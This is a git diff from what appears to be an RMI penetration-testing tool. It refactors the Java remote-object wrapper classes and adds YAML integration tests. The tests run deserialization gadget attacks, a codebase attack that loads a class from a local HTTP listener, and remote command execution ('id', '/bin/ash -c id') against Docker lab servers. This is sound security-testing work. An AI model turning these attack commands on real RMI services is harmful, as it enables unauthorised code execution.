fields. * - * @param remoteObject Incoming RemoteObject, usually obtained by an RMI lookup call - * @throws many Exceptions - These only occur if some reflective access fails + * @param boundName bound name as used in the RMI registry + * @param remoteObject the corresponding remote object */ - public RemoteObjectWrapper(Remote remoteObject) throws IllegalArgumentException, IllegalAccessException, NoSuchFieldException, SecurityException - { - this(remoteObject, null); - } - - /** - * Create a new RemoteObjectWrapper from a RemoteObject. - * - * @param remoteObject Incoming RemoteObject, usually obtained by an RMI lookup call - * @param boundName The bound name that the remoteObject uses inside the RMI registry - * @throws many Exceptions - These only occur if some reflective access fails - */ - public RemoteObjectWrapper(Remote remoteObject, String boundName) throws IllegalArgumentException, IllegalAccessException, NoSuchFieldException, SecurityException + public RemoteObjectWrapper(String boundName, Remote remoteObject) { this.boundName = boundName; this.remoteObject = remoteObject; - this.remoteRef = (UnicastRef)RMGUtils.extractRef(remoteObject); - - LiveRef lRef = remoteRef.getLiveRef(); - - Field endpointField = LiveRef.class.getDeclaredField("ep"); - endpointField.setAccessible(true); - - this.objID = lRef.getObjID(); - this.endpoint = (TCPEndpoint)endpointField.get(lRef); - - this.csf = lRef.getClientSocketFactory(); - this.ssf = lRef.getServerSocketFactory(); this.className = RMGUtils.getClassName(remoteObject); - - this.duplicates = new ArrayList(); this.knownEndpoint = KnownEndpointHolder.getHolder().lookup(className); } /** - * Create a new RemoteObjectWrapper from a RemoteRef. This function creates a Proxy that implements - * the specified interface and uses a RemoteObjectInvocationHandler to forward method invocations to - * the specified RemoteRef. + * Create a RemoteObjectWrapper for the specified Remote. See the extended + * version of the function below for more information. * - * @param remoteRef RemoteRef to the targeted RemoteObject - * @param intf Interface that is implemented by the RemoteObject - * @throws many Exceptions... + * @param remote remote to create the wrapper for + * @return RemoteObjectWrapper for the specified remote + * @throws Reflection related exceptions */ - public static RemoteObjectWrapper fromRef(RemoteRef remoteRef, Class intf) throws IllegalArgumentException, IllegalAccessException, NoSuchFieldException, SecurityException + public static RemoteObjectWrapper getInstance(Remote remote) throws IllegalArgumentException, IllegalAccessException, NoSuchFieldException, SecurityException { - if( !Remote.class.isAssignableFrom(intf) ) - ExceptionHandler.internalError("RemoteObjectWrapper.fromRef", "Specified interface is not valid"); - - RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(remoteRef); - Remote remoteObject = (Remote)Proxy.newProxyInstance(intf.getClassLoader(), new Class[] { intf }, remoteObjectInvocationHandler); - - return new RemoteObjectWrapper(remoteObject); + return RemoteObjectWrapper.getInstance(remote, null); } /** - * Check whether the endpoint is a known endpoint. + * Create a RemoteObjectWrapper for the specified Remote. This function uses reflection + * to inspect the reference type of the specified Remote. If it is a UnicastRef, a UnicastWrapper + * is returned. Otherwise, an ActivatbaleWrapper is returned. * - * @return True of the endpoint is known. + * @param remote remote to create the wrapper for + * @param boundName bound name as specified in the RMI registry + * @return RemoteObjectWrapper - Either a UnicastWrapper or a ActivatbaleWrapper depending on the Remote + * @throws Reflection related exceptions */ - public boolean isKnown() + public static RemoteObjectWrapper getInstance(Remote remote, String boundName) throws IllegalArgumentException, IllegalAccessException, NoSuchFieldException, SecurityException { - if( knownEndpoint == null ) - return false; + RemoteObjectWrapper wrapper = null; + RemoteRef ref = RMGUtils.extractRef(remote); - return true; - } + if (ref instanceof UnicastRef) + wrapper = new UnicastWrapper(remote, boundName, (UnicastRef)ref); - /** - * Returns the host name associated with the RemoteObjectWrapper - * - * @return host name the Wrapper is pointing to - */ - public String getHost() - { - return endpoint.getHost(); - } + else if (ref.getClass().getName().contains("ActivatableRef")) + wrapper = new ActivatableWrapper(remote, boundName, ref); - /** - * Returns the port number associated with the RemoteObjectWrapper - * - * @return port number the Wrapper is pointing to - */ - public int getPort() - { - return endpoint.getPort(); - } - - /** - * Returns a string that combines the host name and port in the 'host:port' notation. - * - * @return host:port the Wrapper is pointing to - */ - public String getTarget() - { - return getHost() + ":" + getPort(); - } - - /** - * Checks whether the Wrapper has any duplicates (other remote objects that implement the same - * remote interface). - * - * @return true if duplicates are present - */ - public boolean hasDuplicates() - { - if( this.duplicates.size() == 0 ) - return false; - - return true; - } - - /** - * Checks whether the socket factory used by the remote object is TLS protected. This function - * returns 1 if the default SslRMIClientSocketFactory class is used. -1 if the default RMISocketFactory - * class is used and 0 if none of the previously mentioned cases applies. Notice that a client - * socket factory with a value of null implies the default socket factory (RMISocketFactory). - * - * @return 1 -> SslRMIClientSocketFactory, -1 -> RMISocketFactory, 0 -> Unknown - */ - public int isTLSProtected() - { - if( csf != null ) { - - Class factoryClass = csf.getClass(); - - if( factoryClass == SslRMIClientSocketFactory.class ) - return 1; - - if( factoryClass == RMISocketFactory.class ) - return -1; - - } else if( remoteObject != null ) { - return -1; - } + else + ExceptionHandler.internalError("RemoteObjectWrapper.getInstance", "Unexpected reference type"); - return 0; - } - - /** - * Add a duplicate to the RemoteObjectWrapper. This should be a wrapper that implements the same - * remote interface as the original wrapper. - * - * @param o duplicate RemoteObjectWrapper that implements the same remote interface - */ - public void addDuplicate(RemoteObjectWrapper o) - { - this.duplicates.add(o); - } - - /** - * Iterates over the list of registered duplicates and returns the associated bound names as an array. - * - * @return array of String that contains duplicate bound names - */ - public String[] getDuplicateBoundNames() - { - List duplicateNames = new ArrayList(); - - for(RemoteObjectWrapper o : this.duplicates) - duplicateNames.add(o.boundName); - - return duplicateNames.toArray(new String[0]); + return wrapper; } /** @@ -246,64 +118,89 @@ public static RemoteObjectWrapper getByName(String boundName, RemoteObjectWrappe } /** - * Takes a list of RemoteObjectWrappers and looks for duplicates within it. The return value - * is a list of unique RemoteObjectWrappers that have the corresponding duplicates assigned. + * Creates an array of RemoteObjectWrapper from an array of bound names. The resulting RemoteObjectWrappers + * are dummy objects that just contain the associated bound name. This should only be used during rmg's enum + * action to display bound names using the Formatter class. * - * @param list RemoteObjectWrappers to search for duplicates - * @return Unique RemoteObjectWrappers with duplicates assigned + * @param boundNames Array of String to create the RemoteObjectWrapper from + * @return Array of RemoteObjectWrapper associated to the specified bound names */ - public static RemoteObjectWrapper[] handleDuplicates(RemoteObjectWrapper[] list) + public static RemoteObjectWrapper[] fromBoundNames(String[] boundNames) { - List unique = new ArrayList(); - - outer: for(RemoteObjectWrapper current : list) { + RemoteObjectWrapper[] returnValue = new RemoteObjectWrapper[boundNames.length]; - for(RemoteObjectWrapper other : unique) { + for(int ctr = 0; ctr < boundNames.length; ctr++) + returnValue[ctr] = new EmptyWrapper(boundNames[ctr]); - if(other.className.equals(current.className)) { - other.addDuplicate(current); - continue outer; - } - } + return returnValue; + } - unique.add(current); - } + /** + * Check whether the endpoint is a known endpoint. + * + * @return True of the endpoint is known. + */ + public boolean isKnown() + { + if( knownEndpoint == null ) + return false; - return unique.toArray(new RemoteObjectWrapper[0]); + return true; } /** - * Takes a list of RemoteObjectWrappers and checks whether one of them contains duplicates. + * Transform an RemoteObjectWrapper into a UnicastWrapper. If the RemoteObjectWrapper is already + * a UnicastWrapper, it is simply returned. If it is an ActivatableWrapper instead, it is activated. * - * @param list RemoteObjectWrappers to check for duplicates - * @return true if at least one RemoteObjectWrapper contains a duplicate + * @return UnicastWrapper */ - public static boolean hasDuplicates(RemoteObjectWrapper[] list) + public UnicastWrapper getUnicastWrapper() { - for(RemoteObjectWrapper o : list) { + UnicastWrapper returnValue = null; - if( o.hasDuplicates() ) - return true; - } + if (this instanceof UnicastWrapper) + returnValue = (UnicastWrapper)this; - return false; + else + + try { + returnValue = ((ActivatableWrapper)this).activate(); + } catch (IllegalArgumentException | IllegalAccessException | NoSuchFieldException | SecurityException e) { + ExceptionHandler.unexpectedException(e, "activate", "call", true); + } + + return returnValue; } /** - * Creates an array of RemoteObjectWrapper from an array of bound names. The resulting RemoteObjectWrappers - * are dummy objects that just contain the associated bound name. This should only be used during rmg's enum - * action to display bound names using the Formatter class. + * Transform an array of RemoteObjectWrapper into an array of UnicastWrapper. If an + * element is already a UnicastWrapper, it is simply returned. ActivatableWrappers, on + * the other hand, are activated to create a UnicastWrapper. * - * @param boundNames Array of String to create the RemoteObjectWrapper from - * @return Array of RemoteObjectWrapper associated to the specified bound names + * @param wrappers RemoteObjectWrapper array + * @return Array of associated UnicastWrappers */ - public static RemoteObjectWrapper[] fromBoundNames(String[] boundNames) + public static UnicastWrapper[] getUnicastWrappers(RemoteObjectWrapper[] wrappers) { - RemoteObjectWrapper[] returnValue = new RemoteObjectWrapper[boundNames.length]; + UnicastWrapper[] unicastWrappers = new UnicastWrapper[wrappers.length]; - for(int ctr = 0; ctr < boundNames.length; ctr++) - returnValue[ctr] = new RemoteObjectWrapper(boundNames[ctr]); + for (int ctr = 0; ctr < wrappers.length; ctr++) + { + if (wrappers[ctr] instanceof UnicastWrapper) + { + unicastWrappers[ctr] = (UnicastWrapper) wrappers[ctr]; + } - return returnValue; + else + { + try { + unicastWrappers[ctr] = ((ActivatableWrapper)wrappers[ctr]).activate(); + } catch (IllegalArgumentException | IllegalAccessException | NoSuchFieldException | SecurityException e) { + ExceptionHandler.unexpectedException(e, "activate", "call", true); + } + } + } + + return unicastWrappers; } } diff --git a/src/de/qtc/rmg/utils/UnicastWrapper.java b/src/de/qtc/rmg/utils/UnicastWrapper.java new file mode 100644 index 00000000..ee543fd0 --- /dev/null +++ b/src/de/qtc/rmg/utils/UnicastWrapper.java @@ -0,0 +1,228 @@ +package de.qtc.rmg.utils; + +import java.lang.reflect.Field; +import java.lang.reflect.Proxy; +import java.rmi.Remote; +import java.rmi.server.ObjID; +import java.rmi.server.RMIClientSocketFactory; +import java.rmi.server.RMIServerSocketFactory; +import java.rmi.server.RMISocketFactory; +import java.rmi.server.RemoteObjectInvocationHandler; +import java.util.ArrayList; +import java.util.List; + +import javax.rmi.ssl.SslRMIClientSocketFactory; + +import de.qtc.rmg.internal.ExceptionHandler; +import sun.rmi.server.UnicastRef; +import sun.rmi.transport.LiveRef; +import sun.rmi.transport.tcp.TCPEndpoint; + +/** + * The UnicastWrapper class extends RemoteObjectWrapper and is used for wrapping UnicastRef. + * + * @author Tobias Neitzel (@qtc_de) + */ +@SuppressWarnings("restriction") +public class UnicastWrapper extends RemoteObjectWrapper +{ + public final ObjID objID; + public final TCPEndpoint endpoint; + public final UnicastRef unicastRef; + + public final RMIClientSocketFactory csf; + public final RMIServerSocketFactory ssf; + + public List duplicates; + + /** + * Create a new UnicastWrapper from a RemoteObject. The third argument seems superfluous, as the + * UnicastRef is already contained within the remote object. However, UnicastWrappers should be + * created by using the getInstance method of RemoteObjectWrapper. This one extracts the reference + * from the remote object anyway to check whether it is a UnicastRef or ActivatableRef. Therefore, + * we can reuse this extracted ref instead of performing another extraction. + * + * @param remoteObject Incoming RemoteObject, usually obtained by an RMI lookup call + * @param boundName The bound name that the remoteObject uses inside the RMI registry + * @param ref UnicastRef to build the wrapper around + * @throws many Exceptions - These only occur if some reflective access fails + */ + public UnicastWrapper(Remote remoteObject, String boundName, UnicastRef ref) throws IllegalArgumentException, IllegalAccessException, NoSuchFieldException, SecurityException + { + super(boundName, remoteObject); + this.unicastRef = ref; + + LiveRef lRef = unicastRef.getLiveRef(); + duplicates = new ArrayList(); + + Field endpointField = LiveRef.class.getDeclaredField("ep"); + endpointField.setAccessible(true); + + objID = lRef.getObjID(); + endpoint = (TCPEndpoint)endpointField.get(lRef); + + csf = lRef.getClientSocketFactory(); + ssf = lRef.getServerSocketFactory(); + } + + /** + * Returns the host name associated with the UnicastWrapper. + * + * @return host name the Wrapper is pointing to + */ + public String getHost() + { + return endpoint.getHost(); + } + + /** + * Returns the port number associated with the UnicastWrapper. + * + * @return port number the Wrapper is pointing to + */ + public int getPort() + { + return endpoint.getPort(); + } + + /** + * Returns a string that combines the host name and port in the 'host:port' notation. + * + * @return host:port the Wrapper is pointing to + */ + public String getTarget() + { + return getHost() + ":" + getPort(); + } + + /** + * Checks whether the socket factory used by the remote object is TLS protected. This function + * returns 1 if the default SslRMIClientSocketFactory class is used. -1 if the default RMISocketFactory + * class is used and 0 if none of the previously mentioned cases applies. Notice that a client + * socket factory with a value of null implies the default socket factory (RMISocketFactory). + * + * @return 1 -> SslRMIClientSocketFactory, -1 -> RMISocketFactory, 0 -> Unknown + */ + public int isTLSProtected() + { + if( csf != null ) { + + Class factoryClass = csf.getClass(); + + if( factoryClass == SslRMIClientSocketFactory.class ) + return 1; + + if( factoryClass == RMISocketFactory.class ) + return -1; + + } else if( remoteObject != null ) { + return -1; + } + + return 0; + } + + /** + * Checks whether the Wrapper has any duplicates (other remote objects that implement the same + * remote interface). + * + * @return true if duplicates are present + */ + public boolean hasDuplicates() + { + if( this.duplicates.size() == 0 ) + return false; + + return true; + } + + /** + * Add a duplicate to the UnicastWrapper. This should be a wrapper that implements the same + * remote interface as the original wrapper. + * + * @param o duplicate UnicastWrapper that implements the same remote interface + */ + public void addDuplicate(UnicastWrapper o) + { + this.duplicates.add(o); + } + + /** + * Iterates over the list of registered duplicates and returns the associated bound names as an array. + * + * @return array of String that contains duplicate bound names + */ + public String[] getDuplicateBoundNames() + { + List duplicateNames = new ArrayList(); + + for(UnicastWrapper o : this.duplicates) + duplicateNames.add(o.boundName); + + return duplicateNames.toArray(new String[0]); + } + + /** + * Create a new UnicastWrapper from a RemoteRef. This function creates a Proxy that implements + * the specified interface and uses a RemoteObjectInvocationHandler to forward method invocations to + * the specified RemoteRef. + * + * @param remoteRef RemoteRef to the targeted RemoteObject + * @param intf Interface that is implemented by the RemoteObject + * @throws many Exceptions... + */ + public static UnicastWrapper fromRef(UnicastRef unicastRef, Class intf) throws IllegalArgumentException, IllegalAccessException, NoSuchFieldException, SecurityException + { + if( !Remote.class.isAssignableFrom(intf) ) + ExceptionHandler.internalError("UnicastWrapper.fromRef", "Specified interface is not valid"); + + RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(unicastRef); + Remote remoteObject = (Remote)Proxy.newProxyInstance(intf.getClassLoader(), new Class[] { intf }, remoteObjectInvocationHandler); + + return new UnicastWrapper(remoteObject, null, unicastRef); + } + + /** + * Takes a list of UnicastWrapper and looks for duplicates within it. The return value + * is a list of unique UnicastWrapper that have the corresponding duplicates assigned. + * + * @param list UnicastWrapper to search for duplicates + * @return Unique UnicastWrapper with duplicates assigned + */ + public static UnicastWrapper[] handleDuplicates(UnicastWrapper[] list) + { + List unique = new ArrayList(); + + outer: for(UnicastWrapper current : list) { + + for(UnicastWrapper other : unique) { + + if(other.className.equals(current.className)) { + other.addDuplicate(current); + continue outer; + } + } + + unique.add(current); + } + + return unique.toArray(new UnicastWrapper[0]); + } + + /** + * Takes a list of UnicastWrapper and checks whether one of them contains duplicates. + * + * @param list UnicastWrapper to check for duplicates + * @return true if at least one UnicastWrapper contains a duplicate + */ + public static boolean hasDuplicates(UnicastWrapper[] list) + { + for(UnicastWrapper o : list) { + + if( o.hasDuplicates() ) + return true; + } + + return false; + } +} diff --git a/tests/generic/tests/known.yml b/tests/generic/tests/known.yml index fa1e8aab..6d04236c 100644 --- a/tests/generic/tests/known.yml +++ b/tests/generic/tests/known.yml @@ -32,9 +32,10 @@ tests: - MLet - Deserialization - - title: Activator + + - title: Activation System description: |- - 'Test known action for the RMI activator' + 'Test known action for the RMI activation system' command: - rmg @@ -46,12 +47,14 @@ tests: - error: False - contains: values: - - RMI Activator + - RMI Activation System - sun.rmi.server.Activation$ActivationSystemImpl_Stub - The activation system is a legacy component of Java RMI. It allows remote objects to become inactive - - java.rmi.MarshalledObject activate(java.rmi.Activation.ActivationID id, boolean force) + - java.rmi.activation.ActivationID registerObject(java.rmi.activation.ActivationDesc arg) + - void shutdown() - Deserialization + - title: Unknown description: |- 'Test known action for unknown class' diff --git a/tests/generic/tests/rogue-jmx.yml b/tests/generic/tests/rogue-jmx.yml index 4512f99d..e4560d81 100644 --- a/tests/generic/tests/rogue-jmx.yml +++ b/tests/generic/tests/rogue-jmx.yml @@ -12,7 +12,7 @@ tester: containers: - name: 'rmg-ssrf' - image: 'ghcr.io/qtc-de/remote-method-guesser/rmg-ssrf-server:1.2' + image: 'ghcr.io/qtc-de/remote-method-guesser/rmg-ssrf-server:1.3' network_mode: host diff --git a/tests/generic/tests/rogue-jmx/rogue-jmx-child.yml b/tests/generic/tests/rogue-jmx/rogue-jmx-child.yml index eab280de..bca36ce3 100644 --- a/tests/generic/tests/rogue-jmx/rogue-jmx-child.yml +++ b/tests/generic/tests/rogue-jmx/rogue-jmx-child.yml @@ -67,19 +67,21 @@ tests: command: - beanshooter + - enum - 127.0.0.1 - 1090 - - status - --username - admin - --password - s3crEt! + - --no-color validators: - - error: True + - error: False - contains: values: - - 'Authentication failed!' + - 'Caught AuthenticationException during login attempt' + - 'Configuration Status: Undecided' - file_contains: - file: ${JMX_LOG_1} contains: @@ -112,22 +114,21 @@ tests: command: - beanshooter + - enum - 127.0.0.1 - 1090 - - status - --username - admin - --password - s3crEt! + - --no-color validators: - error: False - contains: values: - - 'Getting Status of MLet... done!' - - 'MLet is not registered on the JMX server.' - - 'Getting Status of malicious Bean... done!' - - 'Malicious MBean is not registered on the JMX server.' + - 'Login successful! The specified credentials are correct.' + - '22 MBeans are currently registred on the MBean server.' - file_contains: - file: ${JMX_LOG_2} diff --git a/tests/jdk11/jdk11.yml b/tests/jdk11/jdk11.yml index 395bb9eb..0bb6e54f 100644 --- a/tests/jdk11/jdk11.yml +++ b/tests/jdk11/jdk11.yml @@ -10,7 +10,7 @@ tester: containers: - name: 'rmg-jdk11' - image: 'ghcr.io/qtc-de/remote-method-guesser/rmg-example-server:3.1-jdk11' + image: 'ghcr.io/qtc-de/remote-method-guesser/rmg-example-server:3.3-jdk11' volumes: - '${volume}:${volume-d}' aliases: diff --git a/tests/jdk11/tests/act.yml b/tests/jdk11/tests/act.yml index 3e34323b..5d7dee79 100644 --- a/tests/jdk11/tests/act.yml +++ b/tests/jdk11/tests/act.yml @@ -17,7 +17,7 @@ variables: tests: - title: Gadget Call description: |- - 'Performs a deserialization attack on the activator endpoint.' + 'Performs a deserialization attack on the Activator endpoint.' 'The expected result is a file being created within the docker' 'volume.' @@ -45,6 +45,37 @@ tests: - '${volume}/${file}' + - title: Gadget Call (Activation System) + description: |- + 'Performs a deserialization attack on the Activator endpoint.' + 'The expected result is a file being created within the docker' + 'volume. This test targets the Activator that was created by' + 'the activation system.' + + groups: + - ysoserial + + command: + - rmg + - serial + - ${TARGET-ACT} + - CommonsCollections6 + - 'touch ${volume-d}/${file}' + - --component + - act + - ${OPTIONS} + + validators: + - error: False + - regex: + match: + - 'Deserialization attack.+successful' + - file_exists: + cleanup: True + files: + - '${volume}/${file}' + + - title: Invalid Gadget description: |- 'Check whether an incorrect gadget specification is handeled' diff --git a/tests/jdk11/tests/bind.yml b/tests/jdk11/tests/bind.yml index c3d713da..36fd96dd 100644 --- a/tests/jdk11/tests/bind.yml +++ b/tests/jdk11/tests/bind.yml @@ -34,6 +34,26 @@ tests: - --localhost-bypass + - title: Bind Call (Activation System) + description: |- + 'Performs a bind operation on a registry created by the activation system.' + + command: + - rmg + - bind + - ${TARGET-ACT} + - '127.0.0.1:8000' + - ${bound-name} + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - rejected bind call + - --localhost-bypass + + - title: Bind Call (localhost bypass) description: |- 'Performs a bind operation with --localhost-bypass.' @@ -54,6 +74,27 @@ tests: - Localhost bypass was used but failed + - title: Bind Call (Activation System localhost bypass) + description: |- + 'Performs a bind operation with --localhost-bypass on a registry created by the + activation system.' + + command: + - rmg + - bind + - ${TARGET-ACT} + - '127.0.0.1:8000' + - ${bound-name} + - --localhost-bypass + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - Localhost bypass was used but failed + + - title: Rebind Call description: |- 'Performs a rebind operation.' diff --git a/tests/jdk11/tests/call.yml b/tests/jdk11/tests/call.yml index a2dd5640..29b00f3a 100644 --- a/tests/jdk11/tests/call.yml +++ b/tests/jdk11/tests/call.yml @@ -33,7 +33,7 @@ tests: - call - ${TARGET} - '"touch ${volume-d}/${file}"' - - --bound-name + - --bound-name - plain-server - --signature - 'String execute(String dummy)' @@ -59,7 +59,7 @@ tests: - call - ${TARGET} - '"id"' - - --bound-name + - --bound-name - plain-server - --signature - 'String execute(String dummy)' @@ -89,7 +89,7 @@ tests: - call - ${TARGET} - login - - --bound-name + - --bound-name - legacy-service - --signature - 'String login(java.util.HashMap dummy1)' @@ -174,7 +174,7 @@ tests: - call - ${TARGET} - '"id"' - - --bound-name + - --bound-name - legacy-server - --signature - 'String login(java.util.HashMap dummy1)' @@ -197,7 +197,7 @@ tests: - call - ${TARGET} - '5' - - --bound-name + - --bound-name - legacy-service - --signature - 'String login(java.util.HashMap dummy1)' @@ -209,3 +209,113 @@ tests: values: - 5 is invalid - Cannot continue from here + + + - title: Execute Call Activatable + description: |- + 'Invokes the execute function on the activation-test object.' + + command: + - rmg + - call + - ${TARGET-ACT} + - '"touch ${volume-d}/${file}"' + - --bound-name + - activation-test + - --signature + - 'String execute(String dummy)' + - ${OPTIONS} + + validators: + - error: False + - file_exists: + cleanup: True + files: + - '${volume}/${file}' + + + - title: Execute Call Activatable (Response Handler Plugin) + description: |- + 'Invokes the execute function on the activation-test object.' + + groups: + - response-handler + + command: + - rmg + - call + - ${TARGET-ACT} + - '"id"' + - --bound-name + - activation-test + - --signature + - 'String execute(String dummy)' + - --plugin + - ../../utils/PluginTest.jar + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - uid=0(root) + - gid=0(root) + - groups=0(root) + + + - title: System Call (Response Handler Plugin) + description: |- + 'Invokes the system function on the plain-server object.' + + groups: + - response-handler + + command: + - rmg + - call + - ${TARGET-ACT} + - '"/bin/ash", new String[] { "-c", "id" }' + - --bound-name + - plain-server + - --signature + - 'String system(String command, String[] args)' + - --plugin + - ../../utils/PluginTest.jar + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - uid=0(root) + - gid=0(root) + - groups=0(root) + + + - title: System Call Activatable (Response Handler Plugin) + description: |- + 'Invokes the system function on the activation-test object.' + + groups: + - response-handler + + command: + - rmg + - call + - ${TARGET-ACT} + - '"/bin/ash", new String[] { "-c", "id" }' + - --bound-name + - activation-test + - --signature + - 'String system(String command, String[] args)' + - --plugin + - ../../utils/PluginTest.jar + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - uid=0(root) + - gid=0(root) + - groups=0(root) diff --git a/tests/jdk11/tests/codebase.yml b/tests/jdk11/tests/codebase.yml index e95c2401..2158bb5d 100644 --- a/tests/jdk11/tests/codebase.yml +++ b/tests/jdk11/tests/codebase.yml @@ -21,6 +21,7 @@ plugins: - '../../utils/${codebase-class}2.java' - '../../utils/${codebase-class}3.java' - '../../utils/${codebase-class}4.java' + - '../../utils/${codebase-class}5.java' - http_listener: port: 8000 @@ -165,6 +166,36 @@ tests: - '${volume}/${codebase-class}4.txt' + - title: Method Codebase Call (Activatable) + description: |- + 'Performs a codebase attack on the activation-test remote object.' + 'The expected result is a file being created within the docker' + 'volume.' + + command: + - rmg + - codebase + - ${TARGET-ACT} + - '${codebase-class}5' + - 'http://${DOCKER-GW}:8000/' + - --signature + - 'void updatePreferences(java.util.ArrayList preferences)' + - --bound-name + - activation-test2 + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - 'load canary class' + - 'attack probably worked' + - file_exists: + cleanup: True + files: + - '${volume}/${codebase-class}5.txt' + + - title: Missing Signature description: |- 'Performs a codebase attack with missing --signature option and checks' diff --git a/tests/jdk11/tests/dgc.yml b/tests/jdk11/tests/dgc.yml index 2f8a04fa..ef260438 100644 --- a/tests/jdk11/tests/dgc.yml +++ b/tests/jdk11/tests/dgc.yml @@ -61,3 +61,29 @@ tests: values: - rejected deserialization - The supplied gadget did not pass the deserialization filter + + + - title: Gadget Call (Activation System) + description: |- + 'Attempts a deserialization attack on the DGC endpoint.' + 'This should fail, as the server has JEP290 installed.' + + groups: + - ysoserial + + command: + - rmg + - serial + - ${TARGET-ACT} + - CommonsCollections6 + - ls + - --component + - dgc + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - rejected deserialization + - The supplied gadget did not pass the deserialization filter diff --git a/tests/jdk11/tests/enum.yml b/tests/jdk11/tests/enum.yml index a41e6757..1a81e1ca 100644 --- a/tests/jdk11/tests/enum.yml +++ b/tests/jdk11/tests/enum.yml @@ -168,3 +168,234 @@ tests: [+] - Caught IllegalArgumentException during activate call (activator is present). [+] --> Deserialization allowed - Vulnerability Status: Vulnerable [+] --> Client codebase enabled - Configuration Status: Non Default + + + - title: 'Activation Server Enumeration' + command: + - rmg + - enum + - ${TARGET-ACT} + - ${OPTIONS} + + validators: + - error: False + - contains: + description: |- + 'Check whether all registered bound names are detected.' + ignore_case: True + values: + - 'activation-test' + - 'de.qtc.rmg.server.activation.IActivationService (unknown class)' + - 'Activator: iinsecure.dev:1098 ActivationID:' + - 'activation-test2' + - 'de.qtc.rmg.server.activation.IActivationService2 (unknown class)' + - 'Activator: iinsecure.dev:1098 ActivationID:' + - 'plain-server' + - 'de.qtc.rmg.server.interfaces.IPlainServer (unknown class)' + - 'java.rmi.activation.ActivationSystem' + - 'sun.rmi.server.Activation$ActivationSystemImpl_Stub (known class: RMI Activation System)' + invert: + - 'TLS: yes ObjID:' + + - contains: + description: |- + 'Check whether all exposed codebase values are detected.' + ignore_case: True + values: + - http://iinsecure.dev/well-hidden-development-folder/ + + - contains: + description: |- + 'Check whether string marshalling behavior is correctly detected.' + ignore_case: True + values: + - |- + [+] RMI server String unmarshalling enumeration: + [+] + [+] - Server complained that object cannot be casted to java.lang.String. + [+] --> The type java.lang.String is unmarshalled via readString(). + [+] Configuration Status: Current Default + + - contains: + description: |- + 'Check whether the useCodebaseOnly settings is correctly detected.' + ignore_case: True + values: + - |- + [+] RMI server useCodebaseOnly enumeration: + [+] + [+] - RMI registry uses readString() for unmarshalling java.lang.String. + [+] This prevents useCodebaseOnly enumeration from remote. + + - contains: + description: |- + 'Check whether localhost bypass vulnerability is detected.' + ignore_case: True + values: + - |- + [+] RMI registry localhost bypass enumeration (CVE-2019-2684): + [+] + [+] - Registry rejected unbind call cause it was not send from localhost. + [+] Vulnerability Status: Non Vulnerable + + - contains: + description: |- + 'Check whether DGC enumeration is working.' + ignore_case: True + values: + - |- + [+] RMI Security Manager enumeration: + [+] + [+] - Security Manager rejected access to the class loader. + [+] --> The server does use a Security Manager. + [+] Configuration Status: Current Default + + - contains: + description: |- + 'Check whether JEP290 enumeration is working.' + ignore_case: True + values: + - |- + [+] RMI server JEP290 enumeration: + [+] + [+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed). + [+] Vulnerability Status: Non Vulnerable + + - contains: + description: |- + 'Check whether JEP290 Bypass enumeration is working.' + ignore_case: True + values: + - |- + [+] RMI registry JEP290 bypass enmeration: + [+] + [+] - RMI registry uses readString() for unmarshalling java.lang.String. + [+] This prevents JEP 290 bypass enumeration from remote. + + - contains: + description: |- + 'Check whether Activator enumeration is working.' + ignore_case: True + values: + - |- + [+] RMI ActivationSystem enumeration: + [+] + [+] - Caught IllegalArgumentException during activate call (activator is present). + [+] --> Deserialization allowed - Vulnerability Status: Vulnerable + [+] --> Client codebase enabled - Configuration Status: Non Default + + + - title: 'Activation Server Enumeration (--activate)' + command: + - rmg + - enum + - ${TARGET-ACT} + - --activate + - ${OPTIONS} + + validators: + - error: False + - contains: + description: |- + 'Check whether all registered bound names are detected.' + ignore_case: True + values: + - 'activation-test' + - 'de.qtc.rmg.server.activation.IActivationService (unknown class)' + - 'Activator: iinsecure.dev:1098 ActivationID:' + - 'activation-test2' + - 'de.qtc.rmg.server.activation.IActivationService2 (unknown class)' + - 'Activator: iinsecure.dev:1098 ActivationID:' + - 'plain-server' + - 'de.qtc.rmg.server.interfaces.IPlainServer (unknown class)' + - 'java.rmi.activation.ActivationSystem' + - 'sun.rmi.server.Activation$ActivationSystemImpl_Stub (known class: RMI Activation System)' + - 'TLS: yes ObjID:' + + - contains: + description: |- + 'Check whether all exposed codebase values are detected.' + ignore_case: True + values: + - file:/opt/example-server.jar + - http://iinsecure.dev/well-hidden-development-folder/ + + - contains: + description: |- + 'Check whether string marshalling behavior is correctly detected.' + ignore_case: True + values: + - |- + [+] RMI server String unmarshalling enumeration: + [+] + [+] - Server complained that object cannot be casted to java.lang.String. + [+] --> The type java.lang.String is unmarshalled via readString(). + [+] Configuration Status: Current Default + + - contains: + description: |- + 'Check whether the useCodebaseOnly settings is correctly detected.' + ignore_case: True + values: + - |- + [+] RMI server useCodebaseOnly enumeration: + [+] + [+] - RMI registry uses readString() for unmarshalling java.lang.String. + [+] This prevents useCodebaseOnly enumeration from remote. + + - contains: + description: |- + 'Check whether localhost bypass vulnerability is detected.' + ignore_case: True + values: + - |- + [+] RMI registry localhost bypass enumeration (CVE-2019-2684): + [+] + [+] - Registry rejected unbind call cause it was not send from localhost. + [+] Vulnerability Status: Non Vulnerable + + - contains: + description: |- + 'Check whether DGC enumeration is working.' + ignore_case: True + values: + - |- + [+] RMI Security Manager enumeration: + [+] + [+] - Security Manager rejected access to the class loader. + [+] --> The server does use a Security Manager. + [+] Configuration Status: Current Default + + - contains: + description: |- + 'Check whether JEP290 enumeration is working.' + ignore_case: True + values: + - |- + [+] RMI server JEP290 enumeration: + [+] + [+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed). + [+] Vulnerability Status: Non Vulnerable + + - contains: + description: |- + 'Check whether JEP290 Bypass enumeration is working.' + ignore_case: True + values: + - |- + [+] RMI registry JEP290 bypass enmeration: + [+] + [+] - RMI registry uses readString() for unmarshalling java.lang.String. + [+] This prevents JEP 290 bypass enumeration from remote. + + - contains: + description: |- + 'Check whether Activator enumeration is working.' + ignore_case: True + values: + - |- + [+] 